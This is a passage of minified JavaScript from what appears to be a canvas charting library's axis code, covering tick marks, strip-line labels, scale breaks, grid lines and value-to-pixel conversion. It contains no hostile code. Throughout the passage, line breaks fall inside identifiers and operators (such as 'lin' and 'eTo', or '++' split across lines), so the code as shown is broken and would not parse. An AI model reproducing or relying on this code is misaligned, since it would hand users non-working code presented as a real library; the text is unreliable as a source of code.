{for(m=0;m<a._labels.length;m++)if(q=a._labels[m],!(q.position<a.viewportMinimum||
q.position>a.viewportMaximum||d&&0!==g++
%2&&a.labelAutoFit)&&(n=a.getPixelCoordinatesOnAxis(q.position),a.tickThickness))
{a.ctx.lineWidth=a.tickThickness;a.ctx.strokeStyle=a.tickColor;var
b=1===a.ctx.lineWidth%2?
(n.y<<0)+0.5:n.y<<0;a.ctx.save();a.ctx.beginPath();a.ctx.moveTo(n.x<<0,b);a.ctx.lin
eTo(n.x-
a.tickLength<<0,b);a.ctx.stroke();a.ctx.restore()}},this);this.title&&(this._titleT
extBlock.measureText(),this._titleTextBlock.x=this.bounds.x2-
1,this._titleTextBlock.y=this.lineCoordinates.height/2-
this._titleTextBlock.width/2+this.lineCoordinates.y1,this.titleMaxWidth=this._title
TextBlock.maxWidth,this._titleTextBlock.render(!
0))}g=0;if("inside"===this.labelPlacement)this.chart.addEventListener("dataAnimatio
nIterationEnd",function(){for(m=0;m<a._labels.length;m+
+)q=a._labels[m],q.position<a.viewportMinimum||(q.position>a.viewportMaximum||d&&0!
==g++%2&&a.labelAutoFit)||(a.ctx.save(),a.ctx.beginPath(),q.textBlock.render(!
0),a.ctx.restore())},this);else for(m=0;m<this._labels.length;m+
+)q=this._labels[m],q.position<this.viewportMinimum||
(q.position>this.viewportMaximum||d&&0!==g++%2&&this.labelAutoFit)||
q.textBlock.render(!0)};z.prototype.renderInterlacedColors=function(){var
a=this.chart.plotArea.ctx,d,b,c=this.chart.plotArea,e=0;d=!
0;if(("bottom"===this._position||"top"===this._position)&&this.interlacedColor)for(
a.fillStyle=this.interlacedColor,e=0;e<this._labels.length;e++)d?
(d=this.getPixelCoordinatesOnAxis(this._labels[e].position),b=e+1>this._labels.leng
th-1?
this.getPixelCoordinatesOnAxis(this.viewportMaximum):this.getPixelCoordinatesOnAxis
(this._labels[e+1].position),a.fillRect(Math.min(b.x,d.x),c.y1,Math.abs(b.x-
d.x),Math.abs(c.y1-c.y2)),d=!1):d=!0;else
if(("left"===this._position||"right"===this._position)&&this.interlacedColor)for(a.
fillStyle=this.interlacedColor,e=0;e<this._labels.length;e++)d?
(b=this.getPixelCoordinatesOnAxis(this._labels[e].position),d=e+1>this._labels.leng
th-1?
this.getPixelCoordinatesOnAxis(this.viewportMaximum):this.getPixelCoordinatesOnAxis
(this._labels[e+1].position),a.fillRect(c.x1,Math.min(b.y,d.y),Math.abs(c.x1-
c.x2),Math.abs(d.y-b.y)),d=!1):d=!
0;a.beginPath()};z.prototype.renderStripLinesOfThicknessType=function(a)
{if(this.stripLines&&0<this.stripLines.length&&a){for(var d=this,b,c=0,e=0,g=!1,k=!
1,l=[],h=[],k=!1,c=0;c<this.stripLines.length;c++){var
m=this.stripLines[c];m._thicknessType===a&&("pixel"===a&&(m.value<this.viewportMini
mum||m.value>this.viewportMaximum||u(m.value)||isNaN(this.range))||
l.push(m))}for(c=0;c<this._stripLineLabels.length;c+
+)if(m=this.stripLines[c],b=this._stripLineLabels[c],!
(b.position<this.viewportMinimum||b.position>this.viewportMaximum||
isNaN(this.range)))
{a=this.getPixelCoordinatesOnAxis(b.position);if("outside"===b.stripLine.labelPlace
ment)if(m&&(this.ctx.strokeStyle=m.color,"pixel"===m._thicknessType&&(this.ctx.line
Width=m.thickness)),"bottom"===this._position){var p=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0;this.ctx.beginPath();this.ctx.moveTo(p,a.y<<0);this.ctx.lineTo(
p,a.y+this.tickLength<<0);th
is.ctx.stroke();0===this.labelAngle?(a.x-
=b.textBlock.width/2,a.y+=this.tickLength+b.textBlock.fontSize/2):(a.x-
=0>this.labelAngle?
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0,a.y+=this.tickLength+Math
.abs(0>this.labelAngle?b.textBlock.width*Math.sin(Math.PI/180*this.labelAngle)-
5:5))}else"top"===this._position?(p=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0,this.ctx.beginPath(),this.ctx.moveTo(p,a.y<<0),this.ctx.lineTo(
p,a.y-this.tickLength<<0),this.ctx.stroke(),0===this.labelAngle?(a.x-
=b.textBlock.width/2,a.y-=this.tickLength+b.textBlock.height):
(a.x+=(b.textBlock.height-this.tickLength-
this.labelFontSize/2)*Math.sin(Math.PI/180*this.labelAngle)-(0<this.labelAngle?
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle):0),a.y-=this.tickLength+
(b.textBlock.height*Math.cos(Math.PI/180*this.labelAngle)+(0<this.labelAngle?
b.textBlock.width*Math.sin(Math.PI/180*this.labelAngle):0)))):"left"===this._positi
on?(p=1===this.ctx.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,this.ctx.beginPath(),this.ctx.moveTo(a.x<<0,p),this.ctx.lineTo(
a.x-this.tickLength<<0,p),this.ctx.stroke(),0===this.labelAngle?a.x=a.x-
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-5:(a.y-
=b.textBlock.width*Math.sin(Math.PI/180*this.labelAngle),a.x=0<this.labelAngle?a.x-
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)-this.tickLength-5:a.x-
b.textBlock.width*Math.cos(Math.PI/180*this.labelAngle)+(b.textBlock.height-
b.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)-
this.tickLength)):"right"===this._position&&(p=1===this.ctx.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,this.ctx.beginPath(),this.ctx.moveTo(a.x<<0,p),this.ctx.lineTo(
a.x+this.tickLength<<0,p),this.ctx.stroke(),0===this.labelAngle?
a.x=a.x+this.tickLength+5:(a.y=0>this.labelAngle?a.y:a.y-(b.textBlock.height-
b.textBlock.fontSize/2-
5)*Math.cos(Math.PI/180*this.labelAngle),a.x=0<this.labelAngle?a.x+
(b.textBlock.height-b.textBlock.fontSize/2-5)*Math.sin(Math.PI/180*this.labelAngle)
+this.tickLength:a.x+this.tickLength+5));else b.textBlock.angle=-
90,"bottom"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.height-
3,b.textBlock.measureText(),a.x-b.textBlock.height>this.chart.plotArea.x1?
u(m.startValue)?a.x-=b.textBlock.height-b.textBlock.fontSize/2:a.x-
=b.textBlock.height/2-b.textBlock.fontSize/2+3:
(b.textBlock.angle=90,u(m.startValue)?a.x+=b.textBlock.height-
b.textBlock.fontSize/2:a.x+=b.textBlock.height/2-b.textBlock.fontSize/2+3),a.y=-
90===b.textBlock.angle?"near"===b.stripLine.labelAlign?this.chart.plotArea.y2-
3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1+b.textBlock.width)/2:this.chart.plot
Area.y1+b.textBlock.width+3:"near"===b.stripLine.labelAlign?this.chart.plotArea.y2-
b.textBlock.width-3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1-
b.textBlock.width)/2:this.chart.plotArea.y1+3):"top"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.height-
3,b.textBlock.measureText(),a.x-b.textBlock.height>this.chart.plotArea.x1?
u(m.startValue)?a.x-=b.textBlock.height-b.textBlock.fontSize/2:a.x-
=b.textBlock.height/2-b.textBlock.fontSize/2+3:
(b.textBlock.angle=90,u(m.startValue)?a.x+=b.textBlock.height-
b.textBlock.fontSize/2:a.x+=b.textBlock.height/2-b.textBlock.fontSize/2+3),a.y=-
90===b.textBlock.angle?"near"===b.stripLine.labelAlign?
this.chart.plotArea.y1+b.textBlock.width+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1+b.textBlock.width)/2:this.chart.plot
Area.y2-3:"near"===b.stripLine.labelAlign?
this.chart.plotArea.y1+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.y2+this.chart.plotArea.y1-
b.textBlock.width)/2:this.chart.plotArea.y2-b.textBlock.width-
3):"left"===this._position?
(b.textBlock.maxWidth=this.options.stripLines[c].labelMaxWidth?
this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.width-
3,b.textBlock.angle=0,b.textBlock.measureText(),a.y-
b.textBlock.height>this.chart.plotArea.y1?u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-b.textBlock.fontSize+3:a.y-
b.textBlock.height<this.chart.plotArea.y2?
a.y+=b.textBlock.fontSize/2+3:u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-
b.textBlock.fontSize+3,a.x="near"===b.stripLine.labelAlign?
this.chart.plotArea.x1+3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.x2+this.chart.plotArea.x1)/2-
b.textBlock.width/2:this.chart.plotArea.x2-b.textBlock.width-
3):"right"===this._position&&(b.textBlock.maxWidth=this.options.stripLines[c].label
MaxWidth?this.options.stripLines[c].labelMaxWidth:this.chart.plotArea.width-
3,b.textBlock.angle=0,b.textBlock.measureText(),a.y-
+b.textBlock.height>this.chart.plotArea.y1?u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-b.textBlock.fontSize/2-3:a.y-
b.textBlock.height<this.chart.plotArea.y2?
a.y+=b.textBlock.fontSize/2+3:u(m.startValue)?a.y-=b.textBlock.height-
b.textBlock.fontSize/2:a.y-=b.textBlock.height/2-
b.textBlock.fontSize/2+3,a.x="near"===b.stripLine.labelAlign?
this.chart.plotArea.x2-b.textBlock.width-3:"center"===b.stripLine.labelAlign?
(this.chart.plotArea.x2+this.chart.plotArea.x1)/2-
b.textBlock.width/2:this.chart.plotArea.x1+3);b.textBlock.x=a.x;b.textBlock.y=a.y;h
.push(b)}if(!k){k=!
1;this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,this.ch
art.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.ctx.clip
();for(c=0;c<l.length;c++)m=l[c],m.showOnTop?g||(g=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,this.cha
rt.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.ctx.clip(
);for(e=0;e<l.length;e+
+)m=l[e],m.showOnTop&&m.render();this.ctx.restore()},m)):m.render();for(c=0;c<h.len
gth;c++)b=h[c],b.stripLine.showOnTop?k||(k=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{for(e=0;e<h.length;e+
+)b=h[e],"inside"===b.stripLine.labelPlacement&&b.stripLine.showOnTop&&(d.ctx.save(
),d.ctx.beginPath(),d.ctx.rect(d.chart.plotArea.x1,d.chart.plotArea.y1,d.chart.plot
Area.width,d.chart.plotArea.height),d.ctx.clip(),b.textBlock.render(!
0),d.ctx.restore())},b.textBlock)):"inside"===b.stripLine.labelPlacement&&b.textBlo
ck.render(!0);this.ctx.restore();k=!0}if(k)for(k=!1,c=0;c<h.length;c+
+)b=h[c],b.stripLine.showOnTop?k||(k=!
0,this.chart.addEventListener("dataAnimationIterationEnd",function()
{for(e=0;e<h.length;e+
+)b=h[e],"outside"===b.stripLine.labelPlacement&&b.stripLine.showOnTop&&b.textBlock
.render(!
0)},b.textBlock)):"outside"===b.stripLine.labelPlacement&&b.textBlock.render(!
0)}};z.prototype.renderBreaksBackground=function()
{this.chart._breaksCanvas&&(this.scaleBreaks&&0<this.scaleBreaks._appliedBreaks.len
gth&&this.maskCanvas)&&(this.chart._breaksCanvasCtx.save(),this.chart._breaksCanvas
Ctx.beginPath(),this.chart._breaksCanvasCtx.rect(this.chart.plotArea.x1,this.chart.
plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height),this.chart._break
sCanvasCtx.clip(),this.chart._breaksCanvasCtx.drawImage(this.maskCanvas,0,0,this.ch
art.width,this.chart.height),this.chart._breaksCanvasCtx.restore())};z.prototype.cr
eateMask=function(){if(this.scaleBreaks&&0<this.scaleBreaks._appliedBreaks.length)
{var a=this.scaleBreaks._appliedBreaks;r?
(this.maskCanvas=ta(this.chart.width,this.chart.height),this.maskCtx=this.maskCanva
s.getContext("2d")):
(this.maskCanvas=this.chart.plotArea.canvas,this.maskCtx=this.chart.plotArea.ctx);t
his.maskCtx.save();this.maskCtx.beginPath();this.maskCtx.rect(this.chart.plotArea.x
1,this.chart.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this
.maskCtx.clip();for(var d=0;d<a.length;d++)a[d].endValue<this.viewportMinimum||
(a[d].startValue>this.viewportMaximum||isNaN(this.range))||
a[d].render(this.maskCtx);this.maskCtx.restore()}};z.prototype.renderCrosshair=func
tion(a,d){this.crosshair.render(a,d)};z.prototype.renderGrid=function()
{if(this.gridThickness&&0<this.gridThickness){var a=this.chart.ctx;a.save();var
d,b=this.chart.plotArea;a.lineWidth=this.gridThickness;a.strokeStyle=this.gridColor
;a.setLineDash&&a.setLineDash(R(this.gridDashType,this.gridThickness));if("bottom"=
==this._position||"top"===this._position)for(c=0;c<this._labels.length;c+
+)this._labels[c].position<this.viewportMinimum||
(this._labels[c].position>this.viewportMaximum||this._labels[c].breaksLabelType)||
(a.beginPath(),d=this.getPixelCoordinatesOnAxis(this._labels[c].position),d=1===a.l
ineWidth%2?
(d.x<<0)+0.5:d.x<<0,a.moveTo(d,b.y1<<0),a.lineTo(d,b.y2<<0),a.stroke());else
if("left"===this._position||"right"===this._position)for(var
c=0;c<this._labels.length;c++)this._labels[c].position<this.viewportMinimum||
(this._labels[c].position>this.viewportMaximum||this._labels[c].breaksLabelType)||
(a.beginPath(),d=this.getPixelCoordinatesOnAxis(this._labels[c].position),d=1===a.l
ineWidth%2?
(d.y<<0)+0.5:d.y<<0,a.moveTo(b.x1<<0,d),a.lineTo(b.x2<<0,d),a.stroke());a.restore()
}};z.prototype.renderAxisLine=function(){var a=this.chart.ctx,d=r?
this.chart._preRenderCtx:a,b=Math.ceil(this.tickThickness/(this.reversed?-
2:2)),c=Math.ceil(this.tickThickness/(this.reversed?2:-
2)),e,g;d.save();if("bottom"===this._position||"top"===this._position)
{if(this.lineThickness){this.reversed?
(e=this.lineCoordinates.x2,g=this.lineCoordinates.x1):
(e=this.lineCoordinates.x1,g=this.lineCoordinates.x2);d.lineWidth=this.lineThicknes
s;d.strokeStyle=this.lineColor?
this.lineColor:"black";d.setLineDash&&d.setLineDash(R(this.lineDashType,this.lineTh
ickness));var k=1===this.lineThickness%2?
(this.lineCoordinates.y1<<0)+0.5:this.lineCoordinates.y1<<0;d.beginPath();if(this.s
caleBreaks&&!
u(this.scaleBreaks.firstBreakIndex))if(u(this.scaleBreaks.lastBreakIndex))e=this.sc
aleBreaks._appliedBreaks[this.scaleBreaks.firstBreakIndex].endPixel+c;else
for(var l=this.scaleBreaks.firstBreakIndex;l<=this.scaleBreaks.lastBreakIndex;l+
+)d.moveTo(e,k),d.lineTo(this.scaleBreaks._appliedBreaks[l].startPixel+b,k),e=this.
scaleBreaks._appliedBreaks[l].endPixel+c;e&&(d.moveTo(e,k),d.lineTo(g,k));d.stroke(
)}}else if(("left"===this._position||"right"===this._position)&&this.lineThickness)
{this.reversed?(e=this.lineCoordinates.y1,g=this.lineCoordinates.y2):
(e=this.lineCoordinates.y2,g=this.lineCoordinates.y1);d.lineWidth=this.lineThicknes
s;d.strokeStyle=this.lineColor;d.setLineDash&&d.setLineDash(R(this.lineDashType,thi
s.lineThickness));k=1===this.lineThickness%2?
(this.lineCoordinates.x1<<0)+0.5:this.lineCoordinates.x1<<0;d.beginPath();if(this.s
caleBreaks&&!
u(this.scaleBreaks.firstBreakIndex))if(u(this.scaleBreaks.lastBreakIndex))e=this.sc
aleBreaks._appliedBreaks[this.scaleBreaks.firstBreakIndex].endPixel+b;else
for(l=this.scaleBreaks.firstBreakIndex;l<=this.scaleBreaks.lastBreakIndex;l+
+)d.moveTo(k,e),d.lineTo(k,this.scaleBreaks._appliedBreaks[l].startPixel+c),e=this.
scaleBreaks._appliedBreaks[l].endPixel+b;e&&(d.moveTo(k,e),d.lineTo(k,g));d.stroke(
)}r&&(a.drawImage(this.chart._preRenderCanvas,0,0,this.chart.width,this.chart.heigh
t),this.chart._breaksCanvasCtx&&this.chart._breaksCanvasCtx.drawImage(this.chart._p
reRenderCanvas,0,0,this.chart.width,this.chart.height),d.clearRect(0,0,this.chart.w
idth,this.chart.height));d.restore()};z.prototype.getPixelCoordinatesOnAxis=functio
n(a){var
d={};if("bottom"===this._position||"top"===this._position)d.x=this.convertValueToPi
xel(a),d.y=this.lineCoordinates.y1;if("left"===this._position||"right"===this._posi
tion)d.y=this.convertValueToPixel(a),d.x=this.lineCoordinates.x2;return
d};z.prototype.convertPixelToValue=function(a){if("undefined"===typeof a)return
null;var d=0,b=0,c,d=!0,e=this.scaleBreaks?this.scaleBreaks._appliedBreaks:
[],b="number"===typeof a?a:"left"===this._position||"right"===this._position?
a.y:a.x;if(this.logarithmic){a=c=Math.pow(this.logarithmBase,(b-
this.conversionParameters.reference)/this.conversionParameters.pixelPerUnit);if(b<=
this.conversionParameters.reference===("left"===this._position||"right"===this._pos
ition)!==this.reversed)for(b=0;b<e.length;b++){if(!
(e[b].endValue<this.conversionParameters.minimum))if(d)if(e[b].startValue<this.conv
ersionParameters.minimum)
{if(1<e[b].size&&this.conversionParameters.minimum*Math.pow(e[b].endValue/e[b].star
tValue,Math.log(c)/Math.log(e[b].size))<e[b].endValue)
{a=Math.pow(e[b].endValue/e[b].startValue,Math.log(c)/Math.log(e[b].size));break}el
se
a*=e[b].endValue/this.conversionParameters.minimum/Math.pow(e[b].size,Math.log(e[b]
.endValue/this.conversionParameters.minimum)/Math.log(e[b].endValue/e[b].startValue
)),c/=Math.pow(e[b].size,Math.log(e[b].endValue/this.conversionParameters.minimum)/
Math.log(e[b].endValue/e[b].startValue));d=!1}else
if(c>e[b].startValue/this.conversionParameters.minimum)
{c/=e[b].startValue/this.conversionParameters.minimum;if(c<e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1===e[b].size?
1:Math.log(c)/Math.log(e[b].size))/c;break}else
a*=e[b].endValue/e[b].startValue/e[b].size;c/=e[b].size;d=!1}else break;else
if(c>e[b].startValue/e[b-1].endValue){c/=e[b].startValue/e[b-
1].endValue;if(c<e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1===e[b].size?
1:Math.log(c)/Math.log(e[b].size))/c;break}else
a*=e[b].endValue/e[b].startValue/e[b].size;c/=e[b].size}else break}else
for(b=e.length-1;0<=b;b--)if(!
(e[b].startValue>this.conversionParameters.minimum))if(d)if(e[b].endValue>this.conv
ersionParameters.minimum)
{if(1<e[b].size&&this.conversionParameters.minimum*Math.pow(e[b].endValue/e[b].star
tValue,Math.log(c)/Math.log(e[b].size))>e[b].startValue)
{a=Math.pow(e[b].endValue/e[b].startValue,Math.log(c)/Math.log(e[b].size));break}el
se
a*=e[b].startValue/this.conversionParameters.minimum*Math.pow(e[b].size,Math.log(e[
b].startValue/this.conversionParameters.minimum)/Math.log(e[b].endValue/e[b].startV
alue))*c,c*=Math.pow(e[b].size,Math.log(this.conversionParameters.minimum/e[b].star
tValue)/Math.log(e[b].endValue/e[b].startValue));d=!1}else
if(c<e[b].endValue/this.conversionParameters.minimum)
{c/=e[b].endValue/this.conversionParameters.minimum;if(c>1/e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1>=e[b].size?
1:Math.log(c)/Math.log(e[b].size))*c;break}else
a/=e[b].endValue/e[b].startValue/e[b].size;c*=e[b].size;d=!1}else break;else
if(c<e[b].endValue/e[b+1].startValue)
{c/=e[b].endValue/e[b+1].startValue;if(c>1/e[b].size)
{a*=Math.pow(e[b].endValue/e[b].startValue,1>=e[b].size?
1:Math.log(c)/Math.log(e[b].size))*c;break}else
a/=e[b].endValue/e[b].startValue/e[b].size;c*=e[b].size}else
break;d=a*this.viewportMinimum}else{a=c=(b-
this.conversionParameters.reference)/this.conversionParameters.pixelPerUnit;if(b<=t
his.conversionParameters.reference===("left"===this._position||"right"===this._posi
tion)!==this.reversed)for(b=0;b<e.length;b++){if(!
(e[b].endValue<this.conversionParameters.minimum))if(d)if(e[b].startValue<this.conv
ersionParameters.minimum)
{if(e[b].size&&this.conversionParameters.minimum+c*(e[b].endValue-
e[b].startValue)/e[b].size<e[b].endValue){a=0>=e[b].size?0:c*(e[b].endValue-
e[b].startValue)/e[b].size;break}else a+=e[b].endValue-
this.conversionParameters.minimum-e[b].size*(e[b].endValue-
this.conversionParameters.minimum)/(e[b].endValue-e[b].startValue),c-
=e[b].size*(e[b].endValue-this.conversionParameters.minimum)/(e[b].endValue-
e[b].startValue);d=!1}else if(c>e[b].startValue-this.conversionParameters.minimum)
{c-=e[b].startValue-this.conversionParameters.minimum;if(c<e[b].size)
{a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?1:c/e[b].size)-c;break}else
a+=e[b].endValue-e[b].startValue-e[b].size;c-=e[b].size;d=!1}else break;else
if(c>e[b].startValue-e[b-1].endValue){c-=e[b].startValue-e[b-
1].endValue;if(c<e[b].size){a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?
1:c/e[b].size)-c;break}else a+=e[b].endValue-e[b].startValue-e[b].size;c-
=e[b].size}else break}else for(b=e.length-1;0<=b;b--)if(!
(e[b].startValue>this.conversionParameters.minimum))if(d)if(e[b].endValue>this.conv
ersionParameters.minimum)if(e[b].size&&this.conversionParameters.minimum+c*(e[b].en
dValue-e[b].startValue)/e[b].size>e[b].startValue){a=0>=e[b].size?
0:c*(e[b].endValue-e[b].startValue)/e[b].size;break}else a+=e[b].startValue-
this.conversionParameters.minimum+e[b].size*(this.conversionParameters.minimum-
e[b].startValue)/(e[b].endValue-
e[b].startValue),c+=e[b].size*(this.conversionParameters.minimum-e[b].startValue)/
(e[b].endValue-e[b].startValue),d=!1;else if(c<e[b].endValue-
this.conversionParameters.minimum){c-=e[b].endValue-
this.conversionParameters.minimum;if(c>-1*e[b].size){a+=(e[b].endValue-
e[b].startValue)*(0===e[b].size?1:c/e[b].size)+c;break}else a-=e[b].endValue-
e[b].startValue-e[b].size;c+=e[b].size;d=!1}else break;else if(c<e[b].endValue-
e[b+1].startValue){c-=e[b].endValue-e[b+1].startValue;if(c>-1*e[b].size)
{a+=(e[b].endValue-e[b].startValue)*(0===e[b].size?1:c/e[b].size)+c;break}else a-
=e[b].endValue-e[b].startValue-e[b].size;c+=e[b].size}else
break;d=this.conversionParameters.minimum+a}return
d};z.prototype.convertValueToPixel=function(a)
{a=this.getApparentDifference(this.conversionParameters.minimum,a,a);return
this.logarithmic?
this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*Math.log
(a/this.conversionParameters.minimum)/this.conversionParameters.lnLogarithmBase+0.5
<<0:"axisX"===this.type?
this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*(a-
this.conversionParameters.minimum)
+0.5<<0:this.conversionParameters.reference+this.conversionParameters.pixelPerUnit*
(a-this.conversionParameters.minimum)
+0.5};z.prototype.getApparentDifference=function(a,d,b,c){var e=this.scaleBreaks?
this.scaleBreaks._appliedBreaks:[];if(this.logarithmic){b=u(b)?d/a:b;for(var
g=0;g<e.length&&!(d<e[g].startValue);g++)a>e[g].endValue||
(a<=e[g].startValue&&d>=e[g].endValue?
b=b/e[g].endValue*e[g].startValue*e[g].size:a>=e[g].startValue&&d>=e[g].endValue?
b=b/e[g].endValue*a*Math.pow(e[g].size,Math.log(e[g].endValue/a)/Math.log(e[g].endV
alue/e[g].startValue)):a<=e[g].startValue&&d<=e[g].endValue?
b=b/d*e[g].startValue*Math.pow(e[g].size,Math.log(d/e[g].startValue)/Math.log(e[g].
endValue/e[g].startValue)):!
c&&(a>e[g].startValue&&d<e[g].endValue)&&(b=a*Math.pow(e[g].size,Math.log(d/a)/Math
.log(e[g].endValue/e[g].startValue))))}else for(b=u(b)?Math.abs(d-
a):b,g=0;g<e.length&&!(d<e[g].startValue);g++)a>e[g].endValue||
(a<=e[g].startValue&&d>=e[g].endValue?b=b-
e[g].endValue+e[g].startValue+e[g].size:a>e[g].startValue&&d>=e[g].endValue?b=b-
e[g].endValue+a+e[g].size*(e[g].endValue-a)/(e[g].endValue-
e[g].startValue):a<=e[g].startValue&&d<e[g].endValue?b=b-
d+e[g].startValue+e[g].size*(d-e[g].startValue)/(e[g].endValue-e[g].startValue):!
c&&(a>e[g].startValue&&d<e[g].endValue)&&(b=a+e[g].size*(d-a)/(e[g].endValue-
e[g].startValue)));return b};z.prototype.setViewPortRange=function(a,d)
{this.sessionVariables.newViewportMinimum=this.viewportMinimum=Math.min(a,d);this.s
essionVariables.newViewportMaximum=this.viewportMaximum=Math.max(a,d)};z.prototype.
getXValueAt=function(a){if(!a)return null;var d=null;"left"===this._position?
d=this.convertPixelToValue(a.y):"bottom"===this._position&&(d=this.convertPixelToVa
lue(a.x));return
d};z.prototype.calculateValueToPixelConversionParameters=function(a)
{a=this.scaleBreaks?this.scaleBreaks._appliedBreaks:[];var
d={pixelPerUnit:null,minimum:null,reference:null},b=this.lineCoordinates.width,c=th
is.lineCoordinates.height,b="bottom"===this._position||"top"===this._position?
b:c,c=Math.abs(this.range);if(this.logarithmic)for(var e=0;e<a.length&&!
(this.viewportMaximum<a[e].startValue);e++)this.viewportMinimum>a[e].endValue||
(this.viewportMinimum>=a[e].startValue&&this.viewportMaximum<=a[e].endValue?
b=0:this.viewportMinimum<=a[e].startValue&&this.viewportMaximum>=a[e].endValue?
(c=c/a[e].endValue*a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100):b-Math.min(a[e].spacing,0.1*b)):this.viewport
Minimum>a[e].startValue&&this.viewportMaximum>=a[e].endValue?
(c=c/a[e].endValue*this.viewportMinimum,b=0<a[e].spacing.toString().indexOf("%")?
b*(1-
parseFloat(a[e].spacing)/100*Math.log(a[e].endValue/this.viewportMinimum)/Math.log(
a[e].endValue/a[e].startValue)):b-
Math.min(a[e].spacing,0.1*b)*Math.log(a[e].endValue/this.viewportMinimum)/Math.log(
a[e].endValue/a[e].startValue)):this.viewportMinimum<=a[e].startValue&&this.viewpor
tMaximum<a[e].endValue&&(c=c/this.viewportMaximum*a[e].startValue,b=0<a[e].spacing.
toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*Math.log(this.viewportMaximum/a[e].startValue)/Math.lo
g(a[e].endValue/a[e].startValue)):b-
Math.min(a[e].spacing,0.1*b)*Math.log(this.viewportMaximum/a[e].startValue)/Math.lo
g(a[e].endValue/a[e].startValue)));else for(e=0;e<a.length&&!
(this.viewportMaximum<a[e].startValue);e++)this.viewportMinimum>a[e].endValue||
(this.viewportMinimum>=a[e].startValue&&this.viewportMaximum<=a[e].endValue?
b=0:this.viewportMinimum<=a[e].startValue&&this.viewportMaximum>=a[e].endValue?
(c=c-a[e].endValue+a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100):b-
Math.min(a[e].spacing,0.1*b)):this.viewportMinimum>a[e].startValue&&this.viewportMa
ximum>=a[e].endValue?(c=c-
a[e].endValue+this.viewportMinimum,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*(a[e].endValue-this.viewportMinimum)/(a[e].endValue-
a[e].startValue)):b-Math.min(a[e].spacing,0.1*b)*(a[e].endValue-
this.viewportMinimum)/(a[e].endValue-
a[e].startValue)):this.viewportMinimum<=a[e].startValue&&this.viewportMaximum<a[e].
endValue&&(c=c-
this.viewportMaximum+a[e].startValue,b=0<a[e].spacing.toString().indexOf("%")?b*(1-
parseFloat(a[e].spacing)/100*(this.viewportMaximum-a[e].startValue)/(a[e].endValue-
a[e].startValue)):b-Math.min(a[e].spacing,0.1*b)*(this.viewportMaximum-
a[e].startValue)/(a[e].endValue-
a[e].startValue)));d.minimum=this.viewportMinimum;d.maximum=this.viewportMaximum;d.
range=c;if("bottom"===this._position||"top"===this._position)this.logarithmic?
(d.lnLogarithmBase=Math.log(this.logarithmBase),d.pixelPerUnit=(this.reversed?-
1:1)*b*d.lnLogarithmBase/Math.log(Math.abs(c))):d.pixelPerUnit=(this.reversed?-
1:1)*b/Math.abs(c),d.reference=this.reversed?
this.lineCoordinates.x2:this.lineCoordinates.x1;if("left"===this._position||"right"
===this._position)this.logarithmic?
(d.lnLogarithmBase=Math.log(this.logarithmBase),d.pixelPerUnit=(this.reversed?1:-
1)*b*d.lnLogarithmBase/Math.log(Math.abs(c))):d.pixelPerUnit=(this.reversed?1:-
1)*b/Math.abs(c),d.reference=this.reversed?
this.lineCoordinates.y1:this.lineCoordinates.y2;this.conversionParameters=d};z.prot
otype.calculateAxisParameters=function()
{if(this.logarithmic)this.calculateLogarithmicAxisParameters();else{var
a=this.chart.layoutManager.getFreeSpace(),d=!1,b=!
1;"bottom"===this._position||"top"===this._position?
(this.maxWidth=a.width,this.maxHeight=a.height):
(this.maxWidth=a.height,this.maxHeight=a.width);var
a="axisX"===this.type?"xySwapped"===this.chart.plotInfo.axisPlacement?
62:70:"xySwapped"===this.chart.plotInfo.axisPlacement?
50:40,c=4;"axisX"===this.type&&(c=600>this.maxWidth?8:6);var
a=Math.max(c,Math.floor(this.maxWidth/a)),e,g,k,c=0;!
u(this.options.viewportMinimum)&&(!
u(this.options.viewportMaximum)&&this.options.viewportMinimum>=this.options.viewpor
tMaximum)&&(this.viewportMinimum=this.viewportMaximum=null);if(u(this.options.viewp
